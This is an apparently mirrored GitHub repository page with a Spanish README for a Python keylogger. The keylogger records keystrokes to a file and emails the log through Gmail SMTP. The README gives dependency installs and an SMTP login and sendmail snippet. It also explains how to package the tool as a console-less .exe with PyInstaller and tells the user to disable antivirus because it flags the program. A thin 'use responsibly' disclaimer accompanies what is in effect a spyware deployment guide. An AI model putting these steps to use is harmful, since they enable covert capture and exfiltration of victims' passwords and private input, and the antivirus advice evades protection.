https://github.com/swodlore/keylogger_with_mail
Este es un keylogger de prueba desarrollado en Python, capaz de registrar las teclas presionadas por el usuario. Además, puede enviar los datos capturados a un correo electrónico automáticamente. Ideal para pruebas de seguridad y análisis de entrada de datos. ⚠️ Usar con responsabilidad.
https://github.com/swodlore/keylogger_with_mail
cibersecurity ciberseguridad keylogger keylogger-python python python3
Last synced: 10 months ago
JSON representation
Este es un keylogger de prueba desarrollado en Python, capaz de registrar las teclas presionadas por el usuario. Además, puede enviar los datos capturados a un correo electrónico automáticamente. Ideal para pruebas de seguridad y análisis de entrada de datos. ⚠️ Usar con responsabilidad.
- Host: GitHub
- URL: https://github.com/swodlore/keylogger_with_mail
- Owner: SwodLore
- Created: 2025-04-03T04:30:58.000Z (11 months ago)
- Default Branch: main
- Last Pushed: 2025-04-03T04:51:46.000Z (11 months ago)
- Last Synced: 2025-04-03T05:26:29.451Z (10 months ago)
- Topics: cibersecurity, ciberseguridad, keylogger, keylogger-python, python, python3
- Language: Python
- Homepage:
- Size: 0 Bytes
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🖥️ KeyLogger en Python
Este es un **KeyLogger** desarrollado en Python que registra las teclas presionadas y las guarda en un archivo `log.txt`. Además, permite enviar el registro por correo electrónico presionando `F11` y cerrar el programa con la tecla `ESC`.
## 📌 Instalación de Dependencias en Python
Antes de ejecutar el keylogger, asegúrate de instalar las bibliotecas necesarias.
## 📌 Requisitos
🔹 Python 3.x instalado en tu sistema.
🔹 Conexión a Internet para descargar las dependencias.
## 🚀 Instalación de Dependencias
### 1️⃣ Instalar `pynput` para Captura de Teclado
El módulo `pynput` permite registrar las teclas presionadas en el sistema. Instálalo con:
```bash
pip install pynput
```
### 2️⃣ Instalar `smtplib` y `email` para Envío de Correos
El módulo `smtplib` ya está incluido en Python, pero `email` se usa para estructurar los mensajes de correo. Se recomienda actualizar `email` con:
```bash
pip install secure-smtplib
```
### 3️⃣ Verificar Instalación
Después de instalar las dependencias, verifica que se hayan instalado correctamente ejecutando:
## ✉️ Configuración del Correo
Abre el archivo y reemplaza los siguientes valores con tu información:
Como configurar el email para que puedas enviar correos: Link de Youtube[https://www.youtube.com/shorts/Tuyai2xNwvE]
```python
mensaje["From"] = "tucorreo@gmail.com"
mensaje["To"] = "destinatario@gmail.com"
server.login("tucorreo@gmail.com", "tu_contraseña")
server.sendmail("tucorreo@gmail.com", "destinatario@gmail.com", mensaje.as_string().encode('utf-8'))
```
🔹 **Usa una contraseña de aplicación en lugar de tu contraseña real para mayor seguridad.**
# 🖥️ KeyLogger en Python
Este es un **KeyLogger** desarrollado en Python que registra las teclas presionadas y las guarda en un archivo `log.txt`. Además, permite enviar el registro por correo electrónico presionando `F11` y cerrar el programa con la tecla `ESC`.
---
## 🚀 1️⃣ Inicio del KeyLogger
Para ejecutar el KeyLogger, abre la terminal y ejecuta:
```bash
python KeyLogger_Mail.py
```
Al iniciarse, mostrará el siguiente mensaje en la terminal:
```
(+) Se inició el KeyLogger
```

---
## ⏹️ 2️⃣ Cerrar el KeyLogger
Para **detener la ejecución**, simplemente presiona la tecla `ESC`. Esto cerrará el programa inmediatamente.

---
## 📩 3️⃣ Enviar el registro por correo
Si presionas la tecla `F11`, el KeyLogger **enviará el archivo `log.txt` a través de un correo electrónico**.

---

# 🛠️ Crear un Archivo Ejecutable (.exe) con PyInstaller
Para convertir el script en un archivo ejecutable `.exe`, es necesario utilizar `pyinstaller`. Antes de proceder, **desactiva tu antivirus**, ya que podría detectar el keylogger como una amenaza y eliminarlo.
🔹 Instalar pyinstaller
```bash
pip install pyinstaller
```
### 🚨 Desactivar Antivirus
🔹 Desactiva temporalmente la protección en tiempo real de tu antivirus antes de ejecutar el siguiente comando puede saltar un error asi.

### 🔹 Generar el Archivo .exe
Ejecuta el siguiente comando en la terminal dentro de la carpeta donde se encuentra `KeyLogger_Mail.py`:
```bash
pyinstaller --onefile --noconsole keylogger.py